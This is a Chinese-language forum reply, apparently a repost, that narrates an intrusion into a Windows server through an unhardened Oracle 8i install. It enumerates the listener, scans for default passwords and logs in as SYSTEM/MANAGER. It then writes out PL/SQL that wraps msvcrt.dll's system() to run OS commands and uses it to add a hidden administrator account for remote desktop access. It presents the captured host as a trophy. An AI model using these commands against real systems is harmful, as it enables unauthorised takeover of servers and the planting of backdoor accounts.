回复:通过Oracle8i入侵系统之旅(图)
通过输入"status "命令我们可以得到 oracle 详细版本(8.1.70.0),操作系统(Windows),跟踪级别为 OFF(说明没 有开启审核),安全性为 OFF(说明没有设置 Listener 口令),日志文件的绝对路径(判断 Oracle 安装路径),数据库的 SID(ccdr).
要远程管理 Oracle, 需要知道 IP,数据库的 SID,和连接的用户名和密码.IP 和 SID 我们已经知道了. 接下来用oscanner 工具扫描下要测试主机是否存在默认的密码.如图 4 所示.

附件:
您所在的用户组无法下载或查看附件图 4
看来管理员安装完Oracle8i 后就没有进行进一步的安全配置, 所有的用户名密码都是默认的. 在Oracle 中,SYS/SYSTEM 都是具有 DBA 权限的帐户,我这里选择使用 SYSTEM/MA NAGER 来连接数据库.
在本地用 Sqlplus 连接到目标 Oracle 数据库,命令为:

Code
SqlPlus system/manager@//victimip:1521/ccdr
,
连接成功 后,可以通过 PL/SQL 来运行 OS 命令,首先需要创建库来定位 msvcrt.dll 文件.这里需要使用完整的路径,通过刚才对主机的 查点 我们 已经 知道 操作 系统为 win2003, 如果系统 安装 到 C 盘的话 , 那 msvcrt.dll 默认路径 就为c:\windows\system32\msvcrt.dll.创建库的命令如下:

Code
CREATE OR REPLACE LIBRARY exec_shell AS ’c:\windows\system32\msvcrt.dll’;
接下来写一个过程来调用 msvcrt.dll 里的 system()函数.命令如下:

Code
CREATE OR REPLACE PACKAGE oracmd IS
PROCEDURE exec (cmdstring IN CHAR);
end oracmd;
/
CREATE ORE REPLACE PACKAGE BODY oracmd IS
PROCEDURE exec (cmdstring IN CHAR)
IS EXTERNAL
NAME "system"
LIBRARY exec_shell
LANGUAGE C;
end oracmd;
/
创建完后,就可以运行 OS 命令了.由于主机已经开放了终端服务,所以我这里添加个管理员,然后连接服务器.命 令如下:

Code
exec oracmd.exec (’net user mickey imissyou /add’);
exec oracmd.exec (’net localgroup administrators mickey /add’);
帐户创建完成后,如图 5,就可以连接终端服务了,一台肉鸡到手了.:-)

附件:
您所在的用户组无法下载或查看附件图 5